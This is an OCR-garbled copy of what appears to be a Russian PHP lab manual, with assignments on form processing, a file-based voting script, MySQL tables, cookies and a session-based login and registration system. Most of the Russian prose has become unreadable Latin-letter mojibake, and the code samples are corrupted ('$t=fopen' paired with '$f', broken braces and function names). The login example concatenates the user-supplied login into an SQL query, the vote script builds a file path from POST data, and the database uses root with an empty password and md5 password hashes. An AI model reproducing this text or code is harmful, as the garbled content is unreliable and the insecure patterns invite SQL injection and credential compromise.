yKa3aTb apu(pMETHUECKYIO ONEPAIIHIO, BHIOIHAEMYIO HaJ
HUMU.
3apnanmne Ne 6. PeanusoBath BBOA M 00pabOTKY aHKETHI <2}
nosib3oBatTensi. dopma aHKETHl 3aMOJHSAETCS Ha OAHOU else
CTpaHMIle, CKpUNT-00paOOTYMK, peaqu30BaHHBIH B {
OT/AeIbHOM (haiisie, mpoBePSIET MPAaBUIILHOCTH 3amoHeHus $to=$_POST['toT;
BCeX IOJIeH U JienaeT BBIBOJ Ha OCHOBE mpejcTaBieHHoii dsubject=5_POST['subject];
uH(pOpMALMK (HAIPUMED, BBIYHCISET KOIMYECTBO 3bikop  SMmessage=$_POST[message’];
IpPOrpaMMHUPOBAHUS, KOTOpPBIE 3HAET IMOJIb30BATENb, $mail=mail($to, $subject, $message);

y if (Smail==TRUE)
OmpEeNsieT ero BO3PACT B rOJaX N0 BBEACHHON JaTe roop wryowuo’ornnasneno™
POXKICHUS U T.IL.). :

else
3aHaHHe NQ 7. PeaﬂH?)OBaTB TECT U3 3_4 BOHpOCOB C |{ech0 "He ynanOCb OTnpaBMTb",}

HECKOJILKUMHU BapUaHTaMU OTBETA Ha KaXIbIH BONpPOC, }
NpeyCMOTPETh HAuYMCICHHE OauioB 3a BBEIOpaHHBIE 7>

HTML-koa dhopmel ANS HAnMcaHnsa nucbma



IIOJIB30BATCIIEM BAapUAaHTBI OTBETA. B xonme TECTUPOBAaHHUA, B 3aBUCHUMOCTHU OT KOJMYCCTBA Ha6paHHI)IX
6aHJIOB, BBIBECTH PE3IOMC 110 TCCTY.

JlaGopaTtopHas pabora 3 «Opranu3anus (aiijioBoro BBoa-BbIB0I2»
Llens: n3yyeHne OCHOBHBIX KOHCTPYKIUH si3pika PHP i1t opranmsanuu (haiitioBoro BBo1a-BbIBOIA.
XOJ PABOTHI:
3apanmne Ne 1. VM3yuuTh MaTepuaibl, CoaepKaliie TCOPETUICCKUE CBEICHHs 00 opraHu3aiuu (anaoBoro
BBOJIa-BBIBOJA B s13bIke PHP.
3aganue Ne 2. Co3nate nporpamMmy Jjisl IPOBEIEHUS OMPOCa — FOJIOCOBAHUSA IO OLIEHKE KaKoro-To TOoBapa
i meponpusaTus. Co3gath GopMy IS TOJ0COBaHHUS ¢ BorpocoM "Kak Bbl OollcHMBaeTe Halll MarasuH?" u
BapuaHTaMH OTBETOB B BHjie radio-button.

Kax BBI olleHHE aeTe HaIl
MarazmH?

* oTIOTYHO

" xopouro

" yIOoRJIETEOPHTEJbHO
" mmoxo

NROronocoeaTe I

[ToaroToBuTh TEKCT Mporpammbl, oOecrneuuBaroimiel cienyromue neiictBud. [lo HaxaTuiO KHOIKH
"pOorojocoBaTh" HY>KHO B COOTBETCTBUM C BEIOPAHHOW OLICHKOM:

— OTKPBITh HEOOXOIUMBIH (haii,

— MPOYUTATH 3aIIMCAHHOE B (aiise uunco,

— YBEJIMYUTb €r0 Ha €AUHULLY,

— M [Iepe3arnucarh pe3ysbTaT B 3TOT ke (hail.

BBIBGCTI/I pe3y.TIBTaTBI TOJIOCOBAHUA. PE'C*YJTBTHTH TOJIOCOR aHHMA:
PesymwTars! ronocopasu: NS00
4 -6 yem. -
5-30 yeur. R —
£-b Sax g tien, [
3 - Tyen.
2-10 yenq. T

[IporectupoBath paboTy MpOrpaMMBbI HE MEHEE JIECSATH pa3, IPOCMOTPETH COACPKUMOE (HaliIoB.
MonuduuupoBats  nporpaMmy Tak, 4TOObI pe3ysbTaThl TOJIOCOBAHUS BHIBOJUIINCH B BUJIE JUArpaMMBbl.
CosznaTh ABa BCioMoratenbHbIX (aiina. [lepBeiii momkeH o0ecrieunBaTh CO3JaHNe TEKCTOBBIX (aitioB 2.txt,
3.txt,4.txt, 5.txt u 3anucek B HUX unciaa 0. Bropoit — ynanenue »tux ¢ainos. [IpousBecTd HECKOIBKO pa3
TECTUPOBAHUE MPOIIECCA TOJIOCOBAHUS.

Pexomenoayuu no cocmasnenuro npoepammol

1. Cosznate daiinsl it XpaHeHus: HHPopMmaruu: 5.txt, 4.txt, 3.txt u 2.txt ¢ nepBoHa4YaILHBIM 3HAYCHHEM
0 B xaxaom ¢aiine. B manpHeimeM B HUX OyIyT 3alMCHIBATBHCS 3HAYEHUS CUYCTYMKOB OTBETOB TIPH
rOJIOCOBAaHUM.

2. Hanmcate ¢parMeHT mporpamMmbl, 00€CTIeUnBarONIUi BBIBOM (OpMBI. 3HAUEHHUS MapaMeTPOB IOJIS
dopMmbl ykazate mudpoi (5, 4, 3, 2), coBnagaromieii ¢ uMeHeM daitna. Hanpumep, ans mepBoit cTpoku
(hOpMBI C OTMETKON OTIIMYHO T0JIE€ POPMBI MOXKET BBITJISACTD TaK:
<input type="radio" name="vote" value="5" checked > oTnnuno<br>
3ameTuM, 4TO TOJIbKO 3TO ToJie "oTmedeHo" (checked), 4TOOBI CTUMYIMPOBATH IPUHATHUE TTOTH30BATEIIEM

JKEJIAEMOT'0 PELICHHUS.



3. CocraBuTh mporpamMmy oOpaOOTKH TEpeIaHHbIX MaHHBIX (Hampumep, metogoM POST). Hwmke
MpHUBEICH (parMeHT MPOTrpaMMBbI JIJIS peann3anuu 00paboTKu GailyioB (YTCHHS U 3aITUCH HOBOTO 3HAUCHUS )

if (@$ POST['vote'])
{
// ecin mapameTp vote nepenaércs merogoM POST, 3HaunT HaXkaTa KHOIIKA IPOT0JI0COBAThH
$file=§ POST['vote'].".txt";
// B IEpEeMEHHOMU Vote COASPIKUTCS uncio 2, 3, 4, uiu 5. Hamm daiiibl IMEIOT TaKKe e
// Ha3BaHMS, 3HAYUT MBI MOYKEM HCIIOIB30BATh ATH 3HAYCHUS JIJIsl BBIOOpA (haiina,
/I chopMHUpOBaAB TAKMM 00OpPa30M €ro UMs
$t=fopen($file,"r");
// oTKpBIBaeM (haii sl YTCHUS
$votes=fread($f,100);
// 3ammchIBaeM B iepeMeHHy0 $votes crapoe kommuecTBO rojocos fclose($f);
// 3akpbIBaeM (haii
$votes++;
// yBeTMUMBaEM Ha €IMHUILY KOJUYECTBO TOJIOCOB
$t=fopen($file,"w");
// oTKpbIBaeM (haits1 1J1st 3arucu
fwrite($f,$votes);
// 3anuceIBaeM B (haiist HOBOE KOJIMUECTBO T'OJIOCOB
fclose($1);
// 3akpbIBaeM (haii
3. Jomucath (hparMeHT IpOrpaMMBbl ISl CYMTHIBAHUS HHPOPMALIMU U3 KaKI0T0 (aiiyia ¥ BEIBOA Pe3yJIbTara.
4. Jlns BBIBOJIA AMArpaMMbl MOYKHO BOCIIOJIB30BaThCSl TATOM TOPU3OHTAIBHOMN TuHMK <hr> ¢ mapaMmeTrpamu.
Hanpuwmep:
77>
<hr align="left" color="#FF0000" size="20" width="<?=$vline?>">
<? IIporpaMMHBIi1 KOJ
3nauenue napamerpa width, oTBeuaromiero 3a MMUPUHY JIMHUM, 3/1€Ch 3a7aHbl PparMeHToM php- ckpumnTa —
ympoieHHass ¢popma BbIBojia repeMeHHor. CaMo 3HavyeHue nepeMeHHOH $vline MOKHO OBITH CBSI3aHO C
nepeMeHHO# $votes MaciTaOHbIM KO3 (HUITMECHTOM, KOTOPBIH CIIeIYET MOA00paTh CAMOCTOSTEIBHO.
3aoanue Ne 3. PeannzoBaTh NMPUIOKEHUE IS PaOOTHI ¢ TelIe()OHHBIM CIPABOYHUKOM, TAHHBIE KOTOPOTO
XpaHATCS B TEKCTOBOM (aitnie. [IpemycMoTpeTh BO3MOKHOCTh COXPAHEHUSI HECKOJIBKUX HOMEPOB TenedoHa
JUTSL OTHOTO a0OHEHTA.
3aoanue Ne 4. Peanu3oBaTh NMPUIOKECHHUE IS MPOBEPKH JTOCTYIMHOCTH CEpBEpa, aJpec KOTOPOTO BBEACH
NoJIb30BaTesIeM B hopmy.
3aoanue Ne 5. Peann3oBarh NPUTIOKEHUE ISl MOJYYCHHUS U OTOOpakeHHs WHGOPMAIIUH, TMOTYYCHHON C
yIJICHHOTO cepBepa (Hampumep, MPOrHo3a MOrobl, JICHTHI 3ar0JI0BKOB HOBOCTEH).
3aoanue Ne 6. PcanuzoBaTh IpHIIOKeHHUE-(aWI0-0OMEHHUK, ITO3BOJISIONICE ITOCETUTEISAM CTPAHHUIIBI
3arpy’kaTh (aii-Jibl, MOKa HEe NCYEPITaH YKa3aHHbBIN B HACTPOMKAX MPUIIOKECHHUS 00-IUI TUCKOBBIN JINMUT, a
TaK)Ke TPOCMATPUBATh CIUCOK BCEX 3a-TPYKCHHBIX (alIoB M ymansaTh uX. lIpemrycMOTperh CIUCOK
pa3pelIeHHBIX TUTIOB (haiIoB.

JlaGoparopHas padora 4. «Opranu3anus nompaep:kku 6asol JaHHbix B PHP»
Lenp: moxy4yeHre HaBBIKOB paboTHI ¢ Oazamu qaHHBIX B PHP.
XO/[ PABOTHI:
3aganue Ne 1. VM3yuuTh Marepualibl, COJIEpKAlINEe TEOPETUICCKHE CBEICHHUS 00 OpraHW3aiuu paboThI C
Oa3zaMu maHHBIX B s3bike PHP.
3apanme Ne 2. Co3gaTh CBOIO 0a3y JaHHBIX, HapuMep, bazal.

‘ MySOL
Cozpnate Hoeywo bJ1
hazal | CpagHeHme ~|| Cosaats




[IpocmoTpeTs pesynbTaThl padboTel MySQL, nmpoananu3upoBaTh BBITTOJIHEHHBIH SQL-3ampoc, moayduTh ero
PHP-xoa. BeimosiHUTE TeCTUpOBaHUE TTpUMeEpa 0 MOAKII0UeHHUI0 K 0a3ze nanabsix B PHP. 3xaeck u nanee nms
xocta Oyner localhost, umsi monp3oBaTenst — root, mapamMeTp MapoJib HYXKHO OCTaBUTh MYCTbIM. Takum
obpasom, ctpoka $p = mysql connect("ums xocta", "umMs noabs3oBaress", " maposis") OyAeT BBIMISACTD TakK:
$p = mysql_connect("localhost", "root","");

A cTpoka BbeIOOpa 0a3bl JIAHHBIX:

mysql select db("bazal") or die("NO BASE");

Hayuutbcst co3gaBaTh TaOnuibl B 6a3e TaHHBIX CPEICTBAMH MPEIOKeHHOTO nHTepdetica. [losaakomurcs ¢
OMMCAaHUEM XapaKTePUCTHK MoJel mpu co3gaHuu Tabmuubl. [IpoaHanu3upoBaTh omucaHue MO Npu
co3anuu Ta0ymIkel telephones:

create table telephones(id INT AUTO_INCREMENT PRIMARY KEY, surname VARCHAR(20),

email VARCHAR(20), tel VARCHAR(20));

Coznmarp Tabnuiy telephones cpeactBamu mnpeuiokeHHOTO HMHTepdeiica. 3armoaHUTh TaONHIYy JABYMS
3aMMUCSIMH, HAYYUTHCS IPOCMATPUBATH U PEIAKTUPOBATH 3aMUCH. Y TATUTH TAOIUILY.

Cozmarp Tabmuiyy ¢ mnomompbio mporpammbl PHP. Bemoanutes mnporpammy. JlomomHuth Tabmuiry
HECKOJIBKMMHU 3aIMUCsIMU Yepe3 NMpeioKeHHbI uaTepdeiic. [Ipocmorpers Tabnuiy telephones. [TononauTh
Ta0IMITy MporpaMMHBIMU cpeacTBamu PHP.

Co3nath coOCTBeHHYIO (hOopMy I 3aIllOIHCHHUS TaOnuibl. HamoaHuTh TaOIMIly JaHHBIM, CPEIU KOTOPBIX
JOJKHBI OBITh HECKOJIBKO 3alKCei C 0IMHAKOBBIMH (haMuiusiMu. HayuyuThCsi BBIBOJUTH TaHHBIE U3 TAOJIUIL
MPOTPaMMHBIMH CPEJICTBAMH.

Coznath Tabnuiy ¢ ToBapamu products (moss: uaeHTudukaTop, Ha3BaHUE, IIEHA, ONMCAHKUE) U TPOTrPAMMHO
3aMOTHATh €€ MATHhI0 — MIECThI0 ToBapamu. O0ecmeunTs cpefcTBa UHTEpdeiica s paboTel ¢ ToBapaMu
(3aIOJIHEHHE W IPOCMOTP TAOJIHIIBI ).

3apanme Ne 3. CpencrBamu MpeUIOKEHHOTO HHTEep(deiica st padoThl ¢ 0a3aMu JaHHBIX CO3JIaTh TaOJIUILY
JUISL XpaHEeHUs JAHHBIX O CTpaHax — MPOU3BOAUTENSIX ToBapoB B Bamem MutepHer marasune. Hampumep,
TabnuIly country, KOTOpasi COACPKUT TOJIA:

id ¢ — uaeHTUdUKATOP CTPAHBI, U Name C — Ha3BaHUE CTPaHBI.

Tunel mojei BEIOpaTh caMOCTOSATENBHO. [IpuMep TaOauIlbl IPUBEICH Ha PUCYHKE.

Mone Tun
id © int{11)

Mame_c wvarchar(30)

3armoTHATH TAOIHUILy TBYMS — TPEMsI 3aITHCSIMH.

Mowen

«— [ — id c Name ¢
wml | 1 Poccua
- X 2 Kuran

B Tabnumy products 1o6aBuTh emie 0HO MoJie — UACHTU(UKATOP CTPAHBI — MPOU3BOAUTENSA. THI TaHHBIX
9TOrO MOJIsI JOIDKEH COBIAAATh ¢ TUIIOM NoJis id ¢ Tabnuiel country.



Mone Tun
id int{11)
name tinytext 1
section tinytext 1
description text I
price float

country int(11)

3anmonHuTh B Tabnuue products BHOBb CO3JaHHOE TM0J€ UACHTU(UKATOpa CTpaHbl 3HAYCHUSIMHU,
COOTBETCTBYIOIIMMHU Tabmuie country. Co3aTh (aiisl BEIBOIa KaTalora TOBapoB TaK, YTOOBI OH BBIBOJIHII HE
TOJIBKO TOBAphl, HO U CTPAHbBI KX IPOU3BOAUTENEH.

O0ecmeunTh BBIBOJ TOBAPOB C COPTUPOBKOM TIO MOJTIO CEKIIHH TOBAPOB.

Pexomenoayuu no cozoanuro npoecpammoi

Jlist oOpartieHust K CBsI3aHHBIM TaOIUIIAM B 3allpoce HEOOXOAMMO MpeABapATh Ha3BaHUS TOJEH UMEHEM HX
tabnui. B wactu FROM — ykazaTe uMeHa Ta0auI] uepes 3amsiTyro, a B Beipaxkenne WHERE yka3zats ycnosue
paBEHCTBA 3HAYEHUM JAaHHBIX B MOJSAX CBsizu. Hampumep:

$query = "SELECT country.Name c ,products.section, products.name, products.description, products.price
FROM products, country WHERE (country.id c=products.country) " ;

$result=mysql query($query);

Tlosacnenus k opeanuzayuu cOpmupoeKu

B 3anpoce Ha BBIOOPKY COPTUPOBKY MOXHO BBIMOJHUTH C MOMONIbIO MHCTpYKUMHU order by ums mos.
Hampumep, amst COpTHPOBKH TOBApOB MO BO3PACTAHUIO UX CTOMMOCTH 3aMpoc OYJIET BBITJISIETh TaK:
$result=mysql query("SELECT country.Name c, products.section, products. name, products.description,
products.price FROM products, country WHERE country.id c=products.country order by products.price");
UtoOsl 3a1aTh OOpATHBINA MOPSIIOK COPTUPOBKU HYKHO nA00aBuTh MHCTpYKIn0 DESC mocne umeHu moss,
SIBJISTFOIIIETOCS KITFOUOM COPTHUPOBKH.

3amanue Ne 4. Coznate B/l ¢ Tpems nonsimu:

azpec 3MeKTPOoHHOM moUThHI (50 CUMBOJIOB), TEKCT coobtieHwust (250 cMMBOJIOB), 1aTa U BpeMsl OTIPABICHUSI.
Hanwucate nporpammy, ¢ TOMOIIBIO KOTOPOH MOJIB30BATEIN MOTYT 3aMIOJIHUTH 3Ty BJI.

3aganue Ne 5. Harmucats cuctemy xpanenust KHUT B bJ1. Ha3BaHus KHUT 1 aBTOPBI — O0JIBIIIE HUYETO XPAaHUTh
He Hajno. [Ipemnoxute cTpykTypy Talnuil. YYTHTE, YTO KHHIa MOKET OBITh HamnucaHa HECKOJIbKUMU
coaBTopamu. [lomyunTe CMHUCOK KHUT, KOTOPbIC HAMKMCAHBI TPEMsS COaBTOpaMu. TO €CTh MOTYYUTh OTYET
«KHUTA — KOJTMYECTBO COABTOPOB» U OTPMIBTPOBATH T€, Y KOTOPBHIX COABTOPOB MEHbIIIE 3X.

Crnenaiite 3o oM SQL 3ampocom.

3ananue Ne 6. Ectp 6a3a: GuibMbI B CTpaHbl, Y OJTHOTO (PUITEMa MOKET OBITh MHOTO CTPaH IPOU3BOIUTEIICH,
Ha/I0 OCTpouTh 0azy. Hepamuseiii mporpaMMuCT yaaisl (GUIbMBI, HO HE TIOJYUCTHI Tabauiy cBs3u. Hamo
HaAlTH U yIaJUTh BCE MyCOpPHBIE 3aMHUCH, KOTOPbIE OCTAIKCh B TAOJIUIIE CBS3H.

JlaGopatopnas padora 5 «OTciie:kuBaHHe CeaHCOB (session)»

Llenb: nonmyyeHre HaBBIKOB PETUCTPALIMU U aBTOPU3ALIMHU 110JIb30BaTeield Ha caiite B PHP.
XO/J PABOTHI:
Teopemuueckue ceedenus

BonbIMHCTBO CII0KHBIX Web-TpUiI0KeHUH TO3BOJISAIOT PETHCTPAIMIO U aBTOPU3ALIMIO TIOJIb30BaTeIeH
Ha caiite. OCHOBOW IJisl ympaBJi€HHUS MEXaHW3MaMU aBTOPHU3ALMH CiyxkaT ceccud. Ceccuu MO3BOJISIOT
CO3/1aBaTh U MCIIOJIb30BATh NIEPEMEHHbIEC, COXPAHSAIOIINE CBOE 3HAUCHNE B TE€UEHHE BCETO BPEMEHU pPabOThI
noyib3oBatTenst ¢ caitoM. [lpm 3TOM y KaXIoro moJjb30BaTells caiTa JaHHbIE MEpeMEHHbIe OyayT
COOCTBEHHBIMH, T.€. MX 00JacTh BHJIUMOCTH (aHIJI. variable scope) pacmpocTpaHseTCs Ha BCE BpPEMs
HAXOKJICHUS Ha CaiiTe KOHKPETHOTO MOJIb30BATEN, IPUYEM JIJISl KaXA0T0 3aX0/a MMOoIb30BaTeNs Ha Balll CaluT
9TH NMepeMeHHbIe OYyT pa3IMYHbIMH.

B ocHoOBe Bcero MexaHm3Ma CECCHH JIGKUT pelieHHe 3afadd 00 HIeHTU(UKAUU TOTO, OT KOTO
MMEHHO MpHIlea 3anpoc Ha cepBep. Eciu 310 Oyner TOYHO M3BECTHO, TO YK€ HE BO3HUKHET OOJIBIION



npoOJeMbl B TOM, 4YTOOBI MPEAOCTaBUTh CKPUITY HWH(POPMAIUIO, OTHOCAIIYIOCS HMEHHO K 3TOMY
KOHKPETHOMY I10JIH30BATEIIIO.

JlanHas 3ajada pemniaeTcs MyTeM MPUCBOCHUS KaKIIOM CECCMU YHUKaIbHOTrO uiaeHTudukaropa SID
(anra. Session IDentifier), koTOpbIii co3gaeTCs B TOT MOMEHT, KOIJIa IIOJIb30BaTe/Ib 3aXOJHMT Ha CaWT, U
YHUYTOXKAETCs, KOT/Ia MOJIb30BaTeNb YXOIUT ¢ caita. OH mpeacTaBisieT co00il CTpoKy M3 32 CHMBOJIOB,
Harpumep, ac4f4a45bdc893434c95dcaffblcl811. SID mepenaeTcss Ha CEpPBEP BMECTE C KaXIbIM 3alIpOCOM
KJIMGHTA U BO3BpAIIaeTCs 0OpaTHO BMECTE C OTBETOM CepBepa.

AnroputMm reneparuu SID 1Mo3BONISIET TapaHTUPOBATh €Tr0 YHUKAIBHOCTh, MOJTOMY HCKJIIOYEHA BO-
MO>XHOCTh TOTO, YTO JBE CECCHU OYIyT MMETh OJIMH W TOT ke uaeHTu(ukatop ceccuu. PHP moxer
UCIIONIb30BATh JIBA PA3IUYHBIX MEXaHH3Ma B KAY€CTBE TPAHCIIOPTHOTO cpeAcTBa i nmepeaadn SID:

e (aiiel cookies;
e nonosHUTENLHBIN TapameTp URL-anpeca.

Cookies (0T aHr1. cookie — Me4eHbE ) — ATO HEOOIBIIINE TEKCTOBBIC (hailiIbl ¢ 3aMpPOBaHHON HHPOPMAITUECH,
OTMpaBJIIEMbIC BEO-CEPBEPOM M XPaHUMbIC Ha KOMITbIOTEPE MOJIB30BaTElI B HA3HAYCHHOW Opay3epoM Jis
ATOM LIEJIM CUCTEMHOM Manke. bpay3ep BCSIKHII pa3 IpHU MOMBITKE OTKPBITh CTPAHHUILY COOTBETCTBYIOLIETO
caiita mepecbuiaeT ero cookie cepepy B cocrabe HTTP-3anpoca, npu stom SID coxpansiercs "BHyTpH"
Opay3epa ¥ ocTaeTcsi He3aMETHBIM i mojb3oBaTens. [lognepixkka cookies — HeoOs3aTeIbHOE YCIOBHE IS
Opay3epa, OHa MOXKET OTCYTCTBOBAaTh WJIHM OBITh OTKJIIOUeHA. Bce cookies, kKak MUHUMYM, UMEIOT UMS U
3HAaYEHHUE, a OTIPA-BUTh MX IPOrPaMMHO MOKHO (hyHKImel bool setcookie (string $name [, string $value]),
MMEIOIIIEH e1lle He-CKOJIbKO HEe0Os3aTeIbHBIX TapaMeTPOB.

[TpounTarh UMerOIIUECS ISl JAHHON CTPAHUIIBI COOKies MOYXKHO KaK 3JIEMEHTHI aCCOLIMATUBHOTO MacCHUBA
$§ COOKIE.

OyHKIMK Ul yOaJIeH!us: cookie HE CyIIeCTBYET, 3TO MPOHUCXOIUT JIMOO MO MCTEUEHUU CpPOKa ee
XpaHeHus, MO0 1O SIBHOMY BBI30-BYy setcookie ¢ yka3aHHMEM TPEThHUM IapaMeTpOM BPEMEHH XpaHEHUS,
KOTOpOe ye HCcTeko: setcookie ('my cookie',",time()—14*24*3600); Crneayer TakKke y4ecTh, YTO BHAUAJIC
cepBep HampaBiisgeT cookie KiMeHTy Kak 4dacTh oTkiaumka HTTP, motoM KiIMeHT, eciu OH TOTOB NPHUHSITH
cookie, Bo3Bpalaer ee¢ cepsepy. IloaTomMy JuIst IPpOBEPKH TOTO, MOAKIIOYEHBI JIK cookies B Opay3epe KIIMEHTa,
CKPHIITY MOKET ITOHAJ00UTHCS MPOTpaMMHasl Tiepe3arpy3ka CTpaHHIIbI.

=?php
smy_cookie = T!;
if ('isset(5_GET["step'l}) { //Tlepesdi BuI=0E
saetcookie ('my_cocokie'!,'ck'};
header ('Location: '.5_SEEVER['PFHF_SELF'].
'?step=1"'};//lIepezarpy®aeM C napadeTpou step=1
}

else { //3To0 DOBTOpDHEI EHSOE?T

fres=[@5_COOKIE[ 'my_ccokie']=='gk"?
"Yez'!:"Ho!;
setcookie ('my_cockie','',
time () -14*24*3600);
echo '<br>Cookie test: '.Sres;

i

=

[Tpu mpoBepke 3TOro Kojia IMOCJE BKJIFOYCHHUS/BBIKIIIOUCHUST B Opay3epe MOIepKKU cookies s
HEKOTOPBIX 0003peBaresiell MOXKET MOHAJA00UThCA X Iepe3amyck. MeHee "KpacHBBIA'" aabTepHATUBHBIN
crioco0 pabotel ¢ SID — ero mepemaua uepe3 mapamerp URL-agpeca. PHP umeer B0O3MOXHOCTH
aBTomMatuyecku 106aBinath SID ko BceM ccbuikam B reHepupyeMbix HTML cTpanunax, mostomy Bam, Kak
MPABUIIO, HE HYXXHO OyJIeT 3a00TUTHCS O TOM, YTOOBI TOOABIATH ATOT MACHTH(PHUKATOP K KAKIOW CCHUIKE
BpyuHy0. Ecnu ke Bbl M0 KakuM-1100 MPUYMHAM XOTHUTE CaMU MepefaBaTh UASHTU(PUKATOP CECCUU — BbI
BCEI/Ia MOXKETE MOJIYIHTh ero u3 KOHCTaHThl SID wim u3 ¢pynknun session id(). Janublii criocod Heyn00eH
teMm, yto SID Oyner otobpaxathcs Bo Bcex URL-aapecax mpuioxeHwus, 4TO MOKET CO34aTh, HAIIpUMeEp,
npoosieMy ¢ uaeHtupukamnueir URL-aapecoB morckoBsiMu MamnHaMu. OTKITFOUUTE HCIIOJIB30BAHUE HOMEpa
ceccur B URL MoxHO HacTpoiikoii session.use trans_sid = 0 B ¢aiine php.ini. Ha npaktuke npumepHo y 99,5
% monp3oBaTenell cookies BKITIOYCHBI U MOICPKUBAOTCS, TIOITOMY JAHHBIA CIIOCO0 MOXHO CUHUTATh HE
OUCHB aKTyallbHBIM.

Jjist TOrO 4TOOBI UMETh BO3MOYKHOCTh UCTIOJIB30BaTh CECCHOHHBIC IIEPEMEHHBIC B CBOCH MTpOrpaMMme,
HEOOXOMMO CHaudaja co3fgaTh ceccuto: session start(); HykHO BbI3bIBaTh 3Ty (DYHKIMIO Ha Kaxaon
CTpaHHMIIE, T/I€ TPE-0yeTCsl UCII0JIH30BATh CECCHOHHBIE TepEeMEHHbIE. 151 HarJISIHOCTH CECCUM MOKHO 3a7aTh



UM C TOMOIIBI0 QYHKIUY session_name(umsi_ceccun). JlenaTh 3T0 HyKHO €ellie 10 HHUIIMATNU3alluu CECCUU.
[ToayuuTh MMS TEKyIIEH CECCMM MOXXHO C ITOMOIIBIO 3TOHM K¢ (DYHKIIMH, BBI3BAaHHOW O€3 IapaMeTpoB:
session_name().

Perucrparusi ceCCHOHHBIX TIEPEMEHHBIX MPOU3BOAMUTCS ITyTEM BBI30BA CICAYIOIICH (DyHKIIUU:
session_register('varl','var2',...);

3aperucTpupoBaTh MEPEMEHHYIO TakKKe€ MOXKHO, MPOCTO 3alKCaB €€ 3HAYCHHE B aCCOIMATHBHBIN
maccuB $ SESSION: § SESSION['ums'| = '3HaueHue’;

B sTromM MaccuBe XpaHSTCS M OTKPBITHI JUIS TPOTPAMMHOTO JIOCTYIAa BCE 3apErHCTPUPOBAHHBIC
(rnobanibHble) mepeMeHHble ceccud. llomyuuTh uaAeHTU(UKATOP TEKYIeH CECCHM MOXHO C IOMOIIBIO
byakun session id(). @yHkus session unregister(MMsi MEPEeMEHHOHN) ynanseT yKa3aHHYIO TI00albHYIO
NEPEMEHHYI0 U3 TeKyllel ceccuu. J[iast Toro 4to06bl cOPOCUTH 3HAUYEHHUS BCEX MEPEMEHHBIX CECCUU, MOKHO
HCII0JIB30BaTh (DYHKIIHIO session unset().

YHUYTOXUTH TEKYIIYI CECCHIO IEIIMKOM MOXHO (yHKIHe# session destroy(). Ona He cOpachiBaeT
3HAUEHUsSl TJIOOANBHBIX MEPEMEHHBIX CECCHM W He yaauseT cookies, HO YHHYTOXKaeT BCE JaHHBIC,
accouuupyeMble ¢ Tekymieil ceccueil. Crenyer MOHMMAaTh, YTO HCIOJB30BaHHWE MEXaHHU3Ma CECCUU He
rapaHTUPYEeT IMOJIHON OE€30MacHOCTH CUCTEMBL. Bo-NepBBIX, MaHHBIE, MEPENAIONIUECS IO OTKPHITOMY
npotokoiy HTTP, moryT ObITh mepexBaueHbl, BO-BTOPBIX, TaK KaK IMEPEMEHHbIE CECCUU TJI00ATbHBI, OHU
COXpaHSIOTCS B 3alIM(pPOBAHHOM BHJIe B cooKie-(aiiiax Ha KOMIBIOTEpPE I0Jb30BaTeld. bojee HaleKHBIM
pellIeHreM MPEe/ICTaBISeTCs] XpaHeHHE IEHHBIX JTaHHBIX, TAKUX KaK JIOUTHBI U MapoJiv, TOJbKO B 0ase U ¢
mupoBaHUEM TApOJIel, a TaKXKE HKCIONB30BAHNE B BAXKHBIX MPWIOKCHHUSIX 3alUIICHHBIX BEpPCUI
npotokosoB, Takux kak HTTPS. C ydyeTom ckazaHHOTro, 100aBUM K BO3MOXKHOCTSIM IpUMepa 9 HECIOKHBIN
MEXaHHU3M PErHCTPAIli U aBTOPU3AINH [TOJIb30BATENCH ¢ NCIOIb30BAHUEM CECCHIA.

Yactp Kofa, JOCTyMHAsl TOJBKO Ui aBTOPU30BAHHBIX MOJIb30BaTENIeH, MOKET ObITh pealn3oBaHa B
datine index.php u Ipyrux MOJIyJsIX CHCTEMBI CJICAYIOIKUM 00pa3oM:

Oynknus check user, poGaBineHHas B Moaysb functions.php, TpocTo mpoBepseT, BBINOJHSIACH JIH

8loginl = check user();
if {(lempty($loginl)}
echo '"<p>Bu Bommy kar ".5loginl.
'. <a href="legout.php">Bexog</a></p>"';

."’.u'rKD:‘ Omne asTCpPMECBEAHHODO NDONLIOEATSIA

m -

lze {
include "logform.php”;
H
aBTOpHU3ALUsl, CBA3aHHAS C YCTAHOBKOW OIPEICIEHHON IEPEMEHHON CECCUU:

function check_user () {
if ('isset (5_SESSION|'my_inside'l})
return '';

else return S SESSION| "current user'l;
<form method="post" acticn="login.php"=
<takle width=100% align=center border=0>
<trr<tdrlopme: </td>
<td><input type=text size=32 maxlength=32
name=login></td=</tr>
<trr<tdrlapons:</td>
<td>
<input type=password size=32 maxlength=32
name=password></td»></tr>
<tr><td align=center:>
<a href="register.php">Perncrpanua</a></td>
<td align=center:>
<input types=submit wvalue="0E"></td></tr>
</table></fcrm>
<?php /*mpyroit kom */ 7>
Brrowaemsbrit Mmoayns logform.php comepxut xox uist BeiBoga (opMbl aBTOPU3ANNHN, OTIIPABKU JIOTHHA U
mapoJt MoayJiro loglnphp, HCIIOCPCACTBCHHO OTBCUYAOIICMY 3a BXO/J B CUCTCMY, d TAKIKC CCBIJIKH HAa MOAYJIb
peructpanyu register.php:
Mopyns login.php cpaBHHMBaeT JaHHBIC, IOJyYeHHbIE W3 (GOPMBI BXOAa, C JIOTHHOM |
SaHII/I(l)pOBaHHLIM MapoJIcM, XpaHAIIUMUCA B Oase. HpI/I COBIMAACHUHN JAaHHBLIX YCTAHABJIMBAIOTCA HYIKHBIC
NEPEMCHHBIC CCCCUH U ITPOUCXOOUT MCPCHAIIPABICHUC HA I'NTABHYIO CTPAHUITY:



<?php
Sparams = array{'legin', 'password'};
require_once ("functions.php™);
function login ({(5lcginl, Spasswordl) {
Ssgl = 'select login, password frem .
‘users where login="'.f5loginl.'" limit 0,1'7;
Sresult = dbguery (%$sqgl):
if {Sresult and dbrows {(fresult)=>0) |
Sdata = dbfetcha (fresult);
if (Sdata['passwerd']==md5 (Spasswordl)) {
§_SESSION['my inside']=1;
§_BESSION['current_user']=5lcginl;
b
i
login (Slogin, Spassword);
header {"Location: index.php');
i
Monyns logout.php, Taxke BeI3bIBa€MBIi IO CChUIKE U3 indeX.php, TO3BOISET BHINTH U3 CUCTEMBI:

<7php
require once ("functions.php");
Scurrent_user=check_user();
if {!empty(Scurrent_user)) {
5_SES5TON = arravi);
session destroy (};
I
header ("Location: index.php');
=
Hakoner, MOOyJIb register.php IpEAOCTABIIACT (bOpMy JUIA pETUCTPAIUM, IIPOBEPIACT BBEJICHHBIN JIOTHH Ha
YHUKAJIbHOCTD 1 I[O6aBHHeT HOBYIO 3aI1MCh O I10JIb30BATCJIC, CCJIM pErucrpanus yCICIiHa.
e N <7php
